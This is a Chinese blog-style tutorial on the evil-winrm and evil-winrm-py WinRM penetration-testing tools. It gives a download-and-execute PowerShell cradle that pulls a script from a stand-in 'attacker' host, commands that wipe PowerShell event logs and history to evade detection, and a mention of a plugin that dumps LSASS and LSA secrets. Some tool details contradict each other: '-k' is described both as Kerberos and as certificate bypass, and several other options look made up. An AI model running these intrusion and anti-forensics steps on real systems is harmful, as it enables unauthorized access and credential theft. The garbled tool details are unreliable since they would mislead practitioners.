☰
渗透测试工具evil-winrm与evil-winrm-py实战指南
2026/10/27 3:04:29 网站建设 项目流程

1. 工具定位与核心功能解析

evil-winrm和evil-winrm-py是两款专为Windows远程管理协议(WinRM)设计的渗透测试工具。不同于标准WinRM客户端,它们通过去除认证过程中的安全校验环节,实现了在红队行动中对目标系统的快速接入。我在实际渗透测试中发现,当获取到目标主机的管理员凭据后,这两款工具能在3秒内建立交互式PowerShell会话。

WinRM作为微软官方推荐的远程管理协议,默认使用5985(HTTP)和5986(HTTPS)端口。evil-winrm系列工具的特殊之处在于:

  • 绕过证书验证(特别适用于自签名证书环境)
  • 支持NTLM和Kerberos认证的降级攻击
  • 内置文件上传/下载功能(无需额外开启SMB服务)
  • 支持PowerShell内存加载(规避磁盘写入检测)

注意:使用前需确认目标已启用WinRM服务,可通过Test-WSMan命令或nmap扫描验证端口状态。我曾遇到因防火墙规则导致连接失败的案例,建议同时检查5985/5986端口连通性。

2. 环境准备与安装配置

2.1 基础环境要求

Kali Linux 2023.x及以上版本已预装Ruby环境,这是运行evil-winrm(Ruby版)的前提。若使用Python版则需3.8+环境。实测中发现两个常见问题:

  1. Ruby版本冲突:当系统存在多个Ruby版本时,建议使用rvm管理
  2. Python依赖缺失:evil-winrm-py需要requests-kerberos和pypsrp库

安装命令对比:

# Ruby版安装 gem install evil-winrm # Python版安装 pip install evil-winrm-py

2.2 Kerberos认证配置

当域环境启用Kerberos认证时,需要额外配置:

  1. 获取有效的TGT票据(使用impacket的getTGT.py)
  2. 设置KRB5CCNAME环境变量
  3. 确认DNS解析正常(关键!我曾因DNS问题浪费两小时)

典型Kerberos连接命令:

export KRB5CCNAME=/path/to/ticket.krb evil-winrm -i 192.168.1.100 -u administrator -k

3. 实战操作技巧手册

3.1 基础连接方式

NTLM认证是最常用的连接方式,适用于工作组环境:

evil-winrm -i 10.0.0.10 -u admin -p 'P@ssw0rd!' -s /var/www/html/scripts

参数说明:

  • -s指定脚本目录(自动加载到会话)
  • -e指定执行特定命令后退出
  • -r启用SSL加密连接

3.2 文件传输技巧

内置的文件管理功能支持断点续传:

# 上传文件 upload /local/path/file.txt C:\Windows\Temp\ # 下载文件 download C:\logs\app.log /tmp/

实测传输速度可达8MB/s(千兆网络环境下),比传统SMB传输更隐蔽。

3.3 内存加载规避检测

通过反射加载DLL避免触发磁盘监控:

Invoke-Expression (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')

配合IEX使用时,建议:

  1. 使用短域名(减少命令行特征)
  2. 对脚本进行Gzip压缩
  3. 设置短TTL的DNS记录

4. 高级攻防对抗实践

4.1 日志清除技术

WinRM操作会生成三类关键日志:

  1. Windows事件日志(ID 4688、5156)
  2. PowerShell转录日志(若启用)
  3. WinRM服务日志

清除示例:

wevtutil cl "Microsoft-Windows-PowerShell/Operational" Remove-Item -Path $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\*

4.2 防御检测手段

企业防御方可通过以下方式检测evil-winrm活动:

  1. 监控异常的Kerberos TGT请求(短时间内多次申请)
  2. 检测PowerShell的AMSI绕过行为
  3. 分析WinRM日志中的非常规User-Agent

5. 典型问题排查指南

5.1 连接超时问题

常见原因及解决方案:

现象可能原因解决方法
连接立即断开防火墙拦截使用-nop选项跳过端口探测
30秒无响应身份验证协议不匹配尝试强制NTLMv2(-V选项)
SSL错误证书不信任添加-k参数忽略证书验证

5.2 Kerberos认证失败

域环境下常见错误:

KrbException: Cannot locate default realm

需检查:

  1. /etc/krb5.conf配置是否正确
  2. 时间同步是否偏差超过5分钟
  3. SPN是否注册正确(setspn -L验证)

6. 工具增强与自定义开发

evil-winrm-py的插件架构允许扩展功能:

from evilwinrm.ps_exec import PsExec class MyPlugin(PsExec): def do_custom_cmd(self, args): self.send_ps('Get-Process') # 调用方式 !custom_cmd -args

开发建议:

  1. 保持单次PS命令执行时间<3秒
  2. 避免同步等待操作
  3. 使用base64编码复杂参数

在最近一次红队行动中,我通过自定义插件实现了:

  • 自动提取LSA Secrets
  • 内存转储LSASS进程
  • 绕过CLM约束语言模式

工具虽强大但需遵守授权测试原则,每次使用前都应确认攻击行为的合法性边界。建议配合C2框架使用,将WinRM作为备用通道而非主要入口点。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询